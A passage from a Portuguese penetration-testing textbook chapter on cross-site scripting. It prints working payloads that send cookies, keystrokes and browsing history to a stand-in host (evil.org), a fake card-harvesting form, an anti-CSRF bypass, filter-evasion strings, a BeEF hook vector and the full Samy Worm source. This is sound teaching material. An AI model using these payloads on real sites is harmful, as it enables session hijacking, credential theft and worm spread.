4.2.Percorra a aplicao em busca do valor injetado. Caso ele aparea mais de uma
vez, cada instncia deve ser avaliada individualmente, como uma potencial
vulnerabilidade.

4.3.Se encontrar o valor, de acordo com o ponto de injeo, selecione um vetor de teste
adequado, que respeite a estrutura sinttica do documento.
Captulo 5 - Cross-site scripting

4.4.Aplique o vetor e observe se o cdigo executado.

Teste de XSS baseado em DOM


Para detectar XSS baseado em DOM, pode-se adotar uma estratgia parecida com a q
empregada para o caso refletido, porm, uma ferramenta deve ser empregada para
observar o cdigo HTML dinmico.

191
A razo disso que os navegadores web exibem o cdigo-fonte do HTML recebido do servidor,
sem considerar as alteraes realizadas por scripts, em tempo de execuo, mas, no caso deste
tipo de XSS, o cdigo malicioso no refletido, uma vez que nem enviado aplicao.

Outra tcnica que pode ser empregada consiste na anlise dos scripts contidos nas q
pginas do sistema, conforme descrio abaixo:

5. A partir da fase de mapeamento, verifique todo e qualquer script utilizado pela apli-
cao e observe se utilizam os seguintes elementos: document.location; document.
URL; document.URLencoded; document.referer; window.location.

6. Analise se os valores dos supracitados elementos so empregados na incluso ou


modificao dinmica de elementos do documento.

7. Em caso positivo, observe o ponto de injeo e construa um vetor de teste adequado.

8. Aplique o vetor e verifique se o cdigo executado.

Teste de XCS
Para que aplicaes sejam vulnerveis a cross channel scripting, necessrio que q
informaes visualizadas por uma aplicao web sejam providas por um canal diferente,
como FTP ou SMTP, por exemplo. Antes de executar o roteiro de teste abaixo, ento,
primordial verificar se essa condio satisfeita:

9. Navegue pela aplicao, para identificar pginas que exibem informaes fornecidas
por canais diferentes.

10. Para cada um dos itens identificados:

10.1.Verifique o ponto de injeo dessas informaes e construa o vetor de teste


adequado.

10.2.Aplique o vetor de teste, por meio do canal secundrio pertinente, e observe


se o cdigo executado.

Obteno de identificador de sesso


Conforme j vimos no Captulo 4, empregando DHTML, possvel incluir elementos na q
pgina, de maneira dinmica, que podem ser utilizados para enviar o identificador de
sesso da vtima a um domnio controlado pelo usurio malicioso.

O cdigo abaixo, injetado por meio de um ataque XSS, realiza essa tarefa, por meio da
insero de uma imagem, cujo atributo origem o domnio www.evil.org. Note que o cookie
anexado como parte da URL do recurso, durante a construo do elemento.

<script>document.write(<img src=http://www.evil.org/?SID=+

document.cookie+/>);</script>
Teste de Invaso de Aplicaes Web

Quando o navegador executa o script e o objeto img criado, uma requisio realizada ao
servidor do usurio malicioso, gerando a seguinte entrada no arquivo de trilha de auditoria:

192.168.213.10 - - [30/Jul/2011:19:05:29 -0300] GET /?SID=

PHPSESSID=bijq7d2dnh2f55p8dn19d3moi3;%20security=low HTTP/1.1 200 175

A partir desse registro trivial recuperar o identificador e executar um ataque de q


sequestro de sesso contra a vtima especfica.

192
importante destacar que o ataque pode ser efetuado mesmo que o identificador de
sesso seja transportado por outros meios, como campos escondidos e URLs, por exemplo.
Caso cookies sejam empregados para esse propsito, como acima ilustrado, a aplicao
pode se proteger definindo o atributo HttpOnly, que evita que cdigo no lado cliente acesse
tais informaes.

Antigamente, um ataque chamado de Cross-Site Tracing (XST) podia ser usado para q
violar a proteo fornecida pelo atributo HttpOnly (Grossman, 2003; Stuttard e Pinto,
2007), mas hoje ele barrado por meio de restries impostas pelos navegadores web,
conforme discutido nos prximos pargrafos. Uma das premissas fundamentais para a
tcnica funcionar depende de o servidor web aceitar o mtodo TRACE, que retorna como
resposta prpria requisio efetuada, como possvel observar na Figura 5.10.

Note-se que todos os cabealhos da solicitao, inclusive o Cookie, so includos no corpo


da resposta.

~$ nc xss.esr.rnp.br 80

TRACE / HTTP/1.1

Host:xss.esr.rnp.br

Cookie:SID=0123456789abcdef

HTTP/1.1 200 OK

Date: Thu, 08 Sep 2011 02:19:04 GMT

Server: Apache/2.2.17 (Fedora)

Connection: close

Transfer-Encoding: chunked

Content-Type: message/http

48

TRACE / HTTP/1.1

Host: xss.esr.rnp.br

Cookie: SID=0123456789abcdef
Captulo 5 - Cross-site scripting

Figura 5.10
Exemplo de
requisio com 0
mtodo TRACE.

A segunda condio necessria a um ataque XST que uma requisio baseada no q


mtodo TRACE possa ser efetuada pelo navegador web.

A construo que antes permitia efetuar essa ao empregava a API XMLHttpRequest, a qual,
nos dias atuais, bloqueia o mtodo em questo, impedindo a explorao da vulnerabilidade.

193
Um exemplo de cdigo que poderia ser utilizado com esse propsito, na poca, est ilus-
trado na Figura 5.11.

<script>

xhr=new XMLHttpRequest();

xhr.open(TRACE,http://dvwa.esr.rnp.br,false);

xhr.send(null);

alert(xhr.responseText);

</script> Figura 5.11


Exemplo de XST.

A partir disso tudo, percebe-se como o ataque, se possvel, permitiria contornar o mecanismo
provido pelo atributo HttpOnly. Ao efetuar a requisio com o mtodo TRACE, o cookie seria
enviado automaticamente ao servidor e refletido em seguida na resposta. Desse modo, ficaria
disponvel ao script no lado cliente, por meio da propriedade responseText, que est fora do
escopo de proteo de HttpOnly.

Adulterao de pgina
Na seo anterior, vimos como possvel inserir dinamicamente uma imagem em uma q
pgina, valendo-se de um cross-site scripting, para enviar um identificador de sesso a um
stio web malicioso. A mesma tcnica pode ser utilizada, para alterar a pgina inteira, resul-
tando na incluso de novos elementos e alterao ou remoo de itens pr-existentes.

Considere, por exemplo, a aplicao ilustrada na Figura 5.12, vulnervel a XSS refletido, cujo
ponto de injeo ocorre no corpo do documento, conforme indicado na Figura 5.13.
Teste de Invaso de Aplicaes Web

Figura 5.12
Exemplo de aplica-
... o vulnervel a XSS
refletido.
<div class=vulnerable_code_area>

<form name=XSS action=# method=GET>

<p>Whats your name?</p> Figura 5.13


Ponto de injeo
<input type=text name=name> na aplicao da
Figura 5.12.

194
<input type=submit value=Submit>

</form>

<pre>Hello esrxpto</pre>

</div>

...

Os inmeros objetos da pgina podem ser acessados por meio do DOM, e, como h apenas
um formulrio no exemplo, possvel acess-lo por meio da construo document.
forms[0]. Para remover itens do documento, pode-se invocar o mtodo removeChild(),
no elemento-pai, passando como argumento o objeto-filho desejado, com base na coleo
childNodes[]. Nesse caso, necessrio saber os ndices dos elementos que devem ser
removidos, o que pode ser descoberto por meio do complemento DOM Inspector do Firefox.

A Figura 5.14 ilustra o uso do DOM Inspector para a aplicao de exemplo, com o qual se
observa que o formulrio possui sete ns filhos, que so numerados de 0 a 6. Na parte inferior
da tela, a pgina original exibida, com o propsito de que os elementos sejam ressaltados,
sempre que os ns correspondentes sejam selecionados. Navegando pelos itens sob o
formulrio, descobre-se que a pergunta, o campo e o boto de submisso possuem, respecti-
vamente, os ndices 1, 3 e 5, sendo referenciados, portanto, por childNodes[1], childNodes[3] e
childNodes[5]. Nesse contexto, o seguinte vetor de injeo pode ser utilizado para remover o
campo de entrada, conforme se observa na Figura 5.15:

<script>

var d = document.forms[0];

d.removeChild(d.childNodes[3]);

</script>

Captulo 5 - Cross-site scripting

195
Expandindo o exemplo, vamos, agora, remover o formulrio inteiro e incluir um completamente Figura 5.14
novo, para obteno de informaes sigilosas da vtima. A primeira parte do cenrio pode ser Uso do DOM
Inspector para a
realizada, invocando-se o mtodo removeChild(), a partir do n pai dele, acessvel por meio da pgina da Figura
propriedade parentNode. O ltimo objetivo, por sua vez, considerando que o ponto de injeo 5.12.
se encontra no corpo da pgina, pode ser alcanado pela incluso direta de elementos HTML,
aps o script injetado, ou empregando o mtodo document.write(). O vetor de injeo abaixo Figura 5.15
Exemplo de remo-
Teste de Invaso de Aplicaes Web

consolida todos esses conceitos e resulta na pgina apresentada na Figura 5.17.


o dinmica de ele-
mento da pgina.

196
Aluno

<script>

var p = document.forms[0].parentNode;

p.removeChild(document.forms[0]);

</script>

<br>

<form name=falso method=get action=http://www.evil.org/


phishing.php style=color:#000000>

<b>Perdemos seus dados pessoais. Por favor, atualize seu


cadastro:</b>

<br><br>

Cart&atilde;o:<input type=text name=cartao><br>

C&oacute;digo de verifica&ccedil;&atilde;o:<input type=text


name=cvv2><br>

Figura 5.16 <input type=submit name=submit value=Enviar>


Vetor de injeo
para adulterao </form>
de pgina.

importante reforar que, se o ponto de injeo fosse dentro de um script ou de um mar-


cador, necessariamente, o mtodo document.write() teria de ser empregado para gerao
do formulrio falso, se no erros sintticos seriam introduzidos no documento pelo ataque.

Figura 5.17
Adulterao com- Descoberta de histrico de navegao
q
Captulo 5 - Cross-site scripting

pleta de formulrio,
por meio de XSS. Navegadores web, normalmente, utilizam cores diferentes para links, quando o recurso
alvo j foi ou no acessado pelo usurio. Com base nesse comportamento, empregando um
ataque introduzido por Jeremiah Grossman, em 2006 (Grossman et al., 2007), possvel deter-
minar quando uma pgina especfica foi visitada pela vtima. A tcnica consiste em, a partir
de uma lista de URLs, inserir dinamicamente um link na pgina e verificar a cor com a qual
colorido, invocando o mtodo getComputedStyle(), que retorna o estilo computado para o
elemento especificado. Perceba que a tcnica no capaz de recuperar o histrico completo
de navegao, mas sim testar a hiptese de que um dado conjunto de recursos foi acessado.

197
O cdigo Javascript ilustrado na Figura 5.18 uma adaptao da prova de conceito apresen-
tada por Grossman et al. (2007). Logo no incio, um marcador <style> dinamicamente
inserido, para definir vermelho como a cor de links visitados. Em seguida, interativamente,
um link criado para uma URL da lista, a cor atribuda a ele pelo navegador web verificada
e, por fim, o elemento removido. Nesse processo, se a cor detectada for vermelha, conclui-se
que o recurso foi acessado, e uma imagem adicionada pgina, visando enviar a URL para
um servidor controlado pelo atacante.

/* Codigo adaptado do livro XSS Attacks - Cross Site Scripting


Exploits and Defense */

/* Lista de sitios web a serem testados */

var websites = [

http://dvwa.esr.rnp.br,

http://webgoat.esr.rnp.br,

http://xss.esr.rnp.br,

http://gruyere.esr.rnp.br,

http://www.amazon.com/,

http://www.paypal.com/,

];

var item;

var link;

var color;

/* Define vermelho como a cor de links para recursos visitados */

document.write(<style>);

document.write(a:visited {color: #FF0000;});

document.write(</style>);

/* Percorre lista de sitios web */

for (var i = 0; i < websites.length; i++) {


Teste de Invaso de Aplicaes Web

/* Cria um link para o sitio web */

link = document.createElement(a);
Figura 5.18
link.href = websites[i]; Cdigo Javascript
que pode ser utiliza-
link.innerHTML = websites[i]; do para descoberta
de histrico de
navegao.

198
/* Adiciona o link ao documento, verifica a cor e o remove em
seguida */

document.body.appendChild(link);

color = document.defaultView.getComputedStyle(link,null).

getPropertyValue(color);

document.body.removeChild(link);

/* Verifica se a cor do link e vermelha, o que indica que o sitio


foi visitado */

if (color == rgb(255, 0, 0)) { // Visitado

/* Envia a URL do sitio visitado para um servidor controlado pelo


atacante */

document.write(<img src=http://evil.org/?URL=+link.
href+>);

Supondo que o script seja hospedado no servidor www.evil.org, sob o nome historico.js,
possvel injet-lo por meio de cross-site scripting, empregando-se o seguinte vetor:

<script language=javascript src=http://www.evil.org/historico.js>

</script>

Uma vez que o script carregado e executado no navegador da vtima, basta que o atacante
veja as trilhas de auditoria do servidor web malicioso para descobrir quais sites da lista
foram acessados, conforme ilustrado a seguir:

192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /historico.js


HTTP/1.1 200 1252

192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /?URL=http://xss.


esr.rnp.br/ HTTP/1.1 200 175

192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /?URL=http://


www.paypal.com/ HTTP/1.1 200 175

192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /?URL=http://


Captulo 5 - Cross-site scripting

dvwa.esr.rnp.br/ HTTP/1.1 200 175

O usurio pode dificultar esse ataque, configurando o navegador web para utilizar cores q
pr-estabelecidas para links visitados e no acessados, e impedindo que as pginas
escolham as prprias cores nesse contexto. Com isso, o atacante teria de adivinhar a cor
escolhida pelo usurio, de modo a realizar o ltimo teste corretamente.

199
Captura de teclas digitadas no navegador web
Uma maneira de capturar as teclas digitadas pelo usurio, em um navegador web, consiste q
em adicionar uma rotina de tratamento do evento onkeypress para o objeto document.
Com isso, sempre que uma tecla for pressionada, o cdigo injetado invocado, permitindo
que ele envie as informaes obtidas ao atacante.

Essa parte pode ser realizada por meio da adio dinmica de um objeto img pgina, que
embute os dados da vtima como parte da URL especificada para o atributo src.

importante observar que, no supracitado cenrio, o mtodo appendChild() deve ser


empregado no lugar de document.write(), para que a pgina atual no seja sobrescrita.

Alm disso, de modo a evitar enviar uma nica tecla por vez, gerando trfego desneces- q
srio, deve-se realizar a submisso, somente aps uma quantidade razovel de dados
ser acumulada. Note, porm, que essa abordagem pode resultar na perda dos ltimos
caracteres digitados, e, assim, os dois aspectos devem ser balanceados.

O cdigo Javascript ilustrado na Figura 5.19 implementa todos os conceitos acima discutidos
e funciona para os navegadores Firefox, Chrome e Opera.

<script>

var buffer = ;

var img;

document.onkeypress=function(e) {

if (buffer.length == 10) {

img = document.createElement(img);

img.src = http://www.evil.org/?Keys=+buffer;

document.body.appendChild(img);

document.body.removeChild(img);

buffer = ;

buffer = buffer + String.fromCharCode(e.which); Figura 5.19


Cdigo Javascript
} que pode ser utili-
zado para captura
</script> de teclas.
Teste de Invaso de Aplicaes Web

Para exemplificar o ataque, alguns registros da trilha de auditoria do servidor web malicioso
esto apresentados abaixo, contendo as teclas capturadas de uma vtima:

192.168.213.10 - - [11/Sep/2011:01:32:34 -0300] GET


/?Keys=0123456789 HTTP/1.1 200 175

192.168.213.10 - - [11/Sep/2011:01:32:49 -0300] GET


/?Keys=abcdefghij HTTP/1.1 200 175

192.168.213.10 - - [11/Sep/2011:01:33:17 -0300] GET


/?Keys=ESRRNPSEG9 HTTP/1.1 200 175

200
Quebra de token anti-CSRF
Um dos mecanismos mais efetivos, para impedir ataques de cross site request forgery, q
visto no captulo 4, consiste no uso de tokens aleatrios, atrelados sesso, em cada
pgina do sistema. Uma tcnica j discutida, que permite violar esse controle, o
clickjacking, mas ela requer que a vtima seja induzida a interagir com uma aplicao web
maliciosa, a qual sobreposta, de modo transparente, pela pgina da aplicao que se
deseja explorar. Um mtodo muito mais simples de quebra de tokens anti-CSRF vivel
sempre que houver um XSS explorvel na mesma aplicao.

Considere o sistema ilustrado na Figura 5.20, que permite a troca de senhas, sem solicitar a
anterior, mas que implementa um token anti-CSRF, para dificultar cross site request forgery.

Figura 5.20 O primeiro passo, para elaborar a explorao, consiste em determinar a estrutura do formu-
Aplicao que lrio, por meio da anlise do cdigo HTML:
implementa token
anti-CSRF. <form action=# method=GET>

New password:<br>

<input type=password AUTOCOMPLETE=off name=password_new><br>

Confirm new password: <br>

<input type=password AUTOCOMPLETE=off name=password_conf><br>

<input type=submit value=Change name=Change><br>

<input type=hidden name=csrf_token value=2004840338>

</form>

Os itens importantes, que devem ser observados no HTML, incluem os nomes dos campos
de senha e do boto de submisso, pois sero utilizados, por um cdigo Javascript injetado,
Captulo 5 - Cross-site scripting

para o preenchimento e envio do formulrio. Note que o token anti-CSRF no considerado,


porque ele j possui um valor definido e enviado junto com os demais itens da requisio.

Com base nas informaes levantadas, pode-se construir o seguinte vetor de injeo:

<Script>

function breakToken()

201
var f = document.getElementById(cs).contentDocument.forms[0];

f.password_new.value=pwd;

f.password_conf.value=pwd;

f.Change.click();

document.write(<iframe id=cs src=http://dvwa.esr.rnp.br/


vulnerabilities/csrf/ width=0 height=0 style=opacity:0.0
onload=breakToken()></iframe>);

</script>

Observe que um <iframe> invisvel (opacidade = 0) criado dinamicamente e carregado


com a pgina-alvo do CSRF. To logo isso acontea, a funo breakToken() invocada,
devido ao evento onload, a qual preenche os campos de senhas com o valor pwd e
submete o formulrio, por meio do mtodo click(). Conforme j explicado, como o token
anti-CSRF faz parte do formulrio, ele tambm enviado na requisio, no sendo neces-
srio manipul-lo.

A etapa final resume-se em encontrar na aplicao uma vulnerabilidade de cross-site scrip-


ting, como a ilustrada na Figura 5.21, para que seja possvel injetar o vetor e concluir o ataque.

Exerccio de fixao 3 e
Figura 5.21
Vulnerabilidade
Proteo contra CSRF de XSS refletido.

Por que protees contra CSRF so ineficazes quando a aplicao tambm vulnervel a XSS?

Evaso de filtros
Teste de Invaso de Aplicaes Web

Algumas aplicaes utilizam filtros para bloquear entradas maliciosas ou para alter-las, q
de modo que no possam ser utilizadas em ataques. Muitas vezes, eles no so empre-
gados com o propsito de propiciar defesa em camadas, mas, sim, de contornar vul-
nerabilidades presentes na aplicao. Nesses casos, se o atacante consegue evadir os
filtros instalados, o sistema pode ser explorado, de maneira direta. Historicamente, no
so raras as ocorrncias de filtros dessa natureza, contendo vulnerabilidades (Stuttard
e Pinto, 2007).

202
Nos prximos exemplos, observe as tcnicas de evaso, que podem ser empregadas, em
cada um dos casos:

1 Bloqueio de marcadores HTML, desde que escritos totalmente com letras maisculas ou
minsculas possvel fornecer valores com alternncia de letras maisculas e minsculas.
Exemplo:

<ScRiPt>alert(1)</sCrIpT>
1 Bloqueio de marcadores HTML, independente das letras estarem em maisculas ou em
minsculas uma abordagem consiste em inserir espaos antes do caractere >, de
modo que o marcador no seja reconhecido pelo filtro, apesar de continuar sendo aceito
pela grande maioria dos navegadores web. Exemplo:

<script >alert(1)</script >


1 Bloqueio do marcador <script> uma estratgia inserir outro tipo de elemento, que seja
aceito pelo filtro, e utilizar um evento qualquer para disparar a execuo do cdigo desejado.
Exemplo:

<img src=a onerror=alert(1)>


1 Scripts so aceitos, mas algumas palavras, como alert(), por exemplo, so bloqueadas
caso o mtodo eval() esteja liberado, possvel empreg-lo para executar um cdigo
construdo dinamicamente. Exemplo:

<script>var a=aler+t(1);eval(a)</script>
1 Filtros externos, escritos em C ou C++ cadeias de caracteres, nessas linguagens, so
finalizadas com um byte zero. Assim, uma estratgia de evaso consiste em inserir um
byte nulo, codificado como %00, no comeo do valor injetado. Exemplo:

%00<script>alert(1)</script>
1 Tamanho mximo de parmetro no caso de um XSS refletido, a abordagem mais direta
transformar a vulnerabilidade em um XSS baseado em DOM. Desse modo, o cdigo
utilizado na explorao no fica limitado ao tamanho imposto pelo filtro, uma vez que ele
no enviado como parte da requisio. Exemplo:

?name=<script>eval(location.hash.substr(1))<%2Fscript>#alert(xss)

Observe que o cdigo desejado especificado como um fragmento de URL, extrado


utilizando-se location.hash.substr(1), e executado por meio do mtodo eval().

1 O filtro remove palavras e marcadores HTML, como javascript e <script>, por exemplo,
de maneira no recursiva a quebra desse filtro pode ser realizada, por meio da escrita
aninhada das palavras, que so consideradas pelo controle. Exemplo:

<scr<script>ipt>alert(1)</script>
1 Um caractere \ adicionado antes de aspas, previamente concatenao da entrada
do usurio com o valor de uma varivel caso o escape do prprio caractere \ no seja
Captulo 5 - Cross-site scripting

realizado, possvel fornecer a cadeia \, no lugar da aspa dupla, eliminando o efeito


desejado da sanitizao. Exemplo:

\;alert(1);//

203
Resultando em:

var a=\\;alert(1);//;

Considerando que o ponto de injeo est entre os marcadores <script> e </script>, outra
abordagem consiste em encerrar o script original e iniciar um novo:

</script><script>alert(1)</script>

Embora isso permita que o cdigo injetado seja executado, tambm resulta na exibio de
parte dos comandos originais, como se fossem contedo.

Arcabouos de explorao
Existem alguns arcabouos que podem ser utilizados para explorar aplicaes vulne- q
rveis a cross-site scripting, facilitando a execuo de diversos ataques e a evaso de
eventuais filtros instalados (Grossman et al., 2007):

1 Browser Exploitation Framework (BeEF).


1 CAL9000.
1 XSS-Proxy.
A lista abaixo apresenta os mais conhecidos, dos quais apenas o BeEF continua sendo
atualizado:

1 Browser Exploitation Framework (BeEF): uma ferramenta de segurana criada e


mantida por Wade Alcorn, a qual permite, por meio de uma interface web, explorar os
navegadores controlados e atacar o ambiente em que esto inseridos.

1 CAL9000: um projeto do OWASP, iniciado por Chris Loomis e atualmente desativado,


que fornece diversas ferramentas para explorao de aplicaes web, incluindo: vetores
para ataques XSS, editor para criao manual de requisies HTTP, inspetor de respostas
HTTP, codificadores e decodificadores.

1 XSS-Proxy: criado por Anton Rager e apresentado na conferncia ShmooCon 2005, utiliza
um iframe para carregar o Javascript de controle, o qual permite controle persistente
sobre o navegador da vtima. O objetivo original da ferramenta era chamar a ateno das
pessoas, acerca das possibilidades de ataques baseados em cross-site scripting, as quais,
como se sabe, vo muito alm da simples exibio de uma caixa de mensagem ao usurio.

Browser Exploitation Framework (BeEF)


O BeEF uma ferramenta desenvolvida em Ruby que suporta diversas plataformas q
diferentes, incluindo Windows, Linux e Mac OS X. Necessita da verso 1.9 ou superior
dos pacotes do Ruby e pode trabalhar com os sistemas gerenciadores de banco de dados
SQLite, MySQL e PostgreSQL. A arquitetura geral composta por um nico servidor, que
Teste de Invaso de Aplicaes Web

realiza a interface com o usurio e fornece a camada de comunicao, com os navega-


dores web escravizados.

O processo de obteno de controle de um navegador web necessita da carga do script


hook.js, por meio de uma vulnerabilidade de cross-site scripting.

O BeEF uma ferramenta desenvolvida em Ruby que suporta diversas plataformas dife-
rentes, incluindo Windows, Linux e Mac OS X. Necessita da verso 1.9 ou superior dos
pacotes do Ruby e pode trabalhar com os sistemas gerenciadores de banco de dados SQLite,

204
MySQL e PostgreSQL. A arquitetura geral composta por um nico servidor, que realiza a
interface com o usurio (no caso, o atacante) e fornece a camada de comunicao, com os
navegadores web escravizados.

Os ataques disponveis so divididos em nove classes diferentes: q


1 Browser: inclui deteco de URLs visitadas, reescrita de links e redirecionamento.
1 Debug: essa classe compreende testes do mecanismo de comunicao com os nave-
gadores web controlados pelo BeEF.

1 Host: possui ataques para navegadores em dispositivos mveis, incluindo determi-


nao de localizao fsica da vtima e execuo de chamadas via Skype.

1 Metasploit: permite interagir com o arcabouo Metasploit.


1 Misc: esse grupo de ataques engloba envio de cdigo Javascript arbitrrio, exibio
de caixa de alerta, extrao de dados do objeto localStorage suportado em HTML5,
adulterao da pgina e roubo de dados da rea de transferncia.

1 Network: possibilita descobrir as configuraes de rede e efetuar ataques especficos


contra o Jboss e o ColdFusion.

1 Persistence: inclui tcnicas para persistncia do controle sobre o navegador web.


1 Recon: esse grupo inclui tcnicas para coleta de links da pgina vulnervel, varredura
de redes e verificao se o usurio se encontra autenticado em aplicaes como
Gmail, Facebook e Twitter.

1 Router: efetua ataques CSRF contra alguns roteadores conhecidos.


A Figura 5.22 ilustra o painel de controle do BeEF, com a aba Commands selecionada, a qual
disponibiliza ao usurio as classes de ataques recm-discutidas. Observe, no lado esquerdo
da tela, que todos os navegadores web controlados so listados e tm o sistema operacional
e o endereo IP detectados.

Captulo 5 - Cross-site scripting

205
O processo de obteno de controle de um navegador web necessita da carga do script Figura 5.22
hook.js, por meio de uma vulnerabilidade de cross-site scripting. O vetor de injeo que Interface adminis-
trativa do BeEF.
deve ser usado nesse processo :

<script language=javascript src=http://<servidor BeEF>/hook.js>

</script>

Para exemplificar, considere os ataques de exibio de caixa de dilogo ao usurio e de teste


para descobrir se um determinado site foi visitado. Os resultados esto ilustrados, respecti-
Figura 5.23
vamente, na Figura 5.23 e Figura 5.24. No primeiro caso, o fato de a caixa de dilogo Exibio de caixa de
aparecer no contexto da aplicao vulnervel facilita o processo de convencimento do dilogo ao usurio,
usurio a cooperar com o atacante. por meio do BeEF.
Teste de Invaso de Aplicaes Web

206
Figura 5.24
Teste de histrico Contramedidas
de navegao.
As principais medidas que podem ser adotadas, para evitar a ocorrncia de cross-site q
scripting, esto listadas a seguir (Grossman et al., 2007; Stuttard e Pinto, 2007):

1 Considere que toda informao fornecida por usurios maliciosa e, assim, antes de
process-la, verifique se ela est de acordo com valores reconhecidamente vlidos para
o campo ou parmetro. importante mencionar que essa abordagem superior ao uso
de listas negras, pois, dificilmente, possvel enumerar todas as entradas perniciosas
possveis. Complementarmente, restrinja o tamanho do campo ao mximo permitido.

1 Utilize codificao HTML na sada, o que faz com que caracteres potencialmente peri-
gosos sejam tratados como parte do contedo da pgina HTML, em vez de considerados
parte da estrutura (Stuttard e Pinto, 2007; Van der Stock et al., 2008). Por exemplo, o
texto <script> seria inserido na pgina como &lt;script&gt;, uma vez codificado. A
Figura 5.25 apresenta o mapeamento para os principais caracteres problemticos.

Caractere & < >


Figura 5.25
Entidade &quot; &apos; &amp; &lt; &gt;
Codificao HTML.

1 Quando filtros de entrada e sada forem utilizados, aplique-os, recursivamente, at que q


todos os elementos maliciosos sejam removidos. Um processo de filtragem que apenas
trata as informaes um nmero fixo de vezes, normalmente, est fadado ao fracasso.

1 Nos casos em que identificadores de sesso so transportados por meio de cookies,


defina o atributo HttpOnly, para evitar que sejam acessveis por cdigo executando no
lado cliente da aplicao. Embora isso no resolva o problema de cross-site scripting,
pelo menos, evita que a sesso da vtima seja facilmente sequestrada.

1 Desabilite o mtodo TRACE no servidor web, para evitar cross-site tracing. Embora os
navegadores web atuais probam a execuo de requisies baseadas neste mtodo,
sempre uma boa ideia adotar defesa em camadas.

1 Usurios podem dificultar a descoberta de histrico de navegao, configurando o nave-


gador web para impedir que as pginas definam as prprias cores para links visitados.

Cdigo do Samy Worm


Captulo 5 - Cross-site scripting

A Figura 5.26 ilustra o cdigo completo do Samy Worm. Os trechos marcados em negrito cor-
respondem a algumas das tcnicas de evaso utilizadas por Samy Kamkar.

207
<div id=mycode style=BACKGROUND: url(java

script:eval(document.all.mycode.expr)) expr=var B=String.


fromCharCode(34);var A=String.fromCharCode(39);function g()
{var C;try{var D=document.body.createTextRange();C=D.htmlText}
catch(e){}if(C){return C}else{return eval(document.body.
inne+rHTML)}}function getData(AU){M=getFromURL(AU,frien
dID);L=getFromURL(AU,Mytoken)}function getQueryParams()
{var E=document.location.search;var F=E.substring(1,E.length).
split(&);var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].
split(=);AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var
L=AS[Mytoken];var M=AS[friendID];if(location.hostname==profile.
myspace.com){document.location=http://www.myspace.
com+location.pathname+location.search}else{if(!M){getData(g())}
main()}function getClientFID(){return findIn(g(),up_launchIC(
+A,A)}function nothing(){}function paramsToString(AV){var
N=new String();var O=0;for(var P in AV){if(O>0){N+=&}var
Q=escape(AV[P]);while(Q.indexOf(+)!=-1){Q=Q.replace(+,%2B)}
while(Q.indexOf(&)!=-1){Q=Q.replace(&,%26)}N+=P+=+Q;O++}
return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}
eval(J.onr+eadystatechange=BI);J.open(BJ,BH,true);if(BJ==POST)
{J.setRequestHeader(Content-Type,application/x-www-form-
urlencoded);J.setRequestHeader(Content-Length,BK.length)}
J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.
indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return
S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG)
{return findIn(BF,name=+B+BG+B+ value=+B,B)}function
getFromURL(BF,BG){var T;if(BG==Mytoken){T=B}else{T=&}
var U=BG+=;var V=BF.indexOf(U)+U.length;var W=BF.
substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return
Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest)
{try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.
ActiveXObject){try{Z=new ActiveXObject(Msxml2.XMLHTTP)}catch(e)
{try{Z=new ActiveXObject(Microsoft.XMLHTTP)}catch(e){Z=false}}}
return Z}var AA=g();var AB=AA.indexOf(m+ycode);var AC=AA.
substring(AB,AB+4096);var AD=AC.indexOf(D+IV);var AE=AC.
substring(0,AD);var AF;if(AE){AE=AE.replace(jav+a,A+jav+a
);AE=AE.replace(exp+r),exp+r)+A);AF= but most of all,
samy is my hero. <d+iv id=+AE+D+IV>}var AG;function
Teste de Invaso de Aplicaes Web

getHome(){if(J.readyState!=4){return}var AU=J.responseText;A
G=findIn(AU,P+rofileHeroes,</td>);AG=AG.substring(61,AG.
length);if(AG.indexOf(samy)==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLa
bel]=heroes;AS[submit]=Preview;AS[interest]=AG;J=getXM
LObj();httpSend(/index.cfm?fuseaction=profile.previewInteres
ts&Mytoken=+AR,postHero,POST,paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
Figura 5.26
AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLabel]=h Cdigo do Samy
eroes;AS[submit]=Submit;AS[interest]=AG;AS[hash]=getHiddenP Worm
(Kamkar, 2005).

208
arameter(AU,hash);httpSend(/index.cfm?fuseaction=profile.proces
sInterests&Mytoken=+AR,nothing,POST,paramsToString(AS))}function
main(){var AN=getClientFID();var BH=/index.cfm?fuseaction=user.
viewProfile&friendID=+AN+&Mytoken=+L;J=getXMLObj();httpSe
nd(BH,getHome,GET);xmlhttp2=getXMLObj();httpSend2(/index.
cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytok
en=+L,processxForm,GET)}function processxForm(){if(xmlhttp2.
readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHidden
Parameter(AU,hashcode);var AR=getFromURL(AU,Mytoken);var AS=new
Array();AS[hashcode]=AQ;AS[friendID]=11851658;AS[submit]=
Add to Friends;httpSend2(/index.cfm?fuseaction=invite.addFriend
sProcess&Mytoken=+AR,nothing,POST,paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval(xmlhttp2.on
r+eadystatechange=BI);xmlhttp2.open(BJ,BH,true);if(BJ==POST)
{xmlhttp2.setRequestHeader(Content-Type,application/x-www-form-
urlencoded);xmlhttp2.setRequestHeader(Content-Length,BK.length)}
xmlhttp2.send(BK);return true}></DIV>

Cdigo do Yamanner
O cdigo do Yamanner encontra-se ilustrado na Figura 5.27.

var http_request = false;

var Email = ;

var IDList = ;

var CRumb = ;

function makeRequest(url, Func, Method, Param) {

if (window.XMLHttpRequest)

http_request = new XMLHttpRequest();

} else if (window.ActiveXObject)

http_request = new ActiveXObject(Microsoft.XMLHTTP);

http_request. onfiltered= Func;


Captulo 5 - Cross-site scripting

http_request.open(Method, url, true);

if( Method == GET) http_request.send(null);

